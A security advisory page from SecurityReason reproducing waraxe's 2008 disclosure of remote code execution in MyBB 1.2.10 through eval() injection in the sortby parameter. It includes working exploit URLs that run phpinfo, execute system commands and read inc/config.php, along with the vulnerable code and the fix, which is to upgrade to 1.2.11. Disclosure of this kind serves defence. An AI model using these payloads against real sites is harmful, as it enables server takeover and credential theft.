|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 3559 CVE : CVE-2008-0382 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Exploit Given : Yes Credit : waraxe Published : 22.01.2008
Advisory Text : [waraxe-2008-SA#061] - Remote Code Execution in MyBB 1.2.10 ======================================================================== ======= Author: Janek Vind "waraxe" Independent discovery: koziolek Date: 16. January 2008 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-61.html Target software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ MyBB is a discussion board that has been around for a while; it has evolved from other bulletin boards into the forum package it is today. Therefore, it is a professional and efficient discussion board, developed by an active team of developers. Vulnerabilities discovered ======================================================================== ======= 1. Remote Code Execution in "forumdisplay.php": ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Precondition: valid forum "fid" must be known. Attacker doesn't need to have any privileges in mybb installation to be successful in attack. Proof-Of-Concept request: http://localhost/mybb.1.2.10/forumdisplay.php?fid=2&sortby=' ... and we will see error message: Parse error: syntax error, unexpected ''', expecting ']' in C:apache_wwwrootmybb.1.2.10forumdisplay.php(407) : eval()'d code on line 1 Problematic piece of code is related to "eval()" function: eval("$orderarrow['$sortby'] = "". $templates->get("forumdisplay_orderarrow")."";"); Example attacks: http://localhost/mybb.1.2.10/forumdisplay.php?fid=2 &sortby='];phpinfo();exit;// http://localhost/mybb.1.2.10/forumdisplay.php?fid=2 &sortby='];system('ls');exit;// http://localhost/mybb.1.2.10/forumdisplay.php?fid=2 &sortby='];readfile('inc/config.php');exit;// 2. Remote Code Execution in "search.php": ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Precondition: search "sid" must be known - but that's trivial task. Attacker doesn't need to have any privileges in mybb installation to be successful in attack. http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here] &sortby=' Parse error: syntax error, unexpected ''', expecting ']' in C:apache_wwwrootmybb.1.2.10search.php(141) : eval()'d code on line 1 Problematic is exactly same piece of code, as in previous case: eval("$orderarrow['$sortby'] = "". $templates->get("forumdisplay_orderarrow")."";"); Example attacks: http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here] &sortby='];phpinfo();exit;// http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here] &sortby='];system('ls');exit;// http://localhost/mybb.1.2.10/search.php?action=results&sid=[valid sid here] &sortby='];readfile('inc/config.php');exit;// Both remote code execution security holes are very dangerous and can be used by attacker to complete takeover the website and possible total compromise of webserver. How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Download MyBB new version 1.2.11 as soon as possible! Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb and anyone else who know me! Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ come2waraxe (at) yahoo (dot) com [email concealed] Janek Vind "waraxe" Homepage: http://www.janekvind.com/ Waraxe forum: http://www.waraxe.us/forums.html ---------------------------------- [ EOF ] ------------------------------------  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Multiple Vendors libc/gdtoa printf(3) Array Overrun
SecurityReason realised new advisory about vulnerabilities libc/gdtoa... |
||
| Apache |  |
|
» Apache Tomcat |
||
» Apache Tomcat User |
||
| PHP | |
|
» PHP |
||
- 2009-05-30| Copyright © SecurityReason.com. All Rights Reserved. |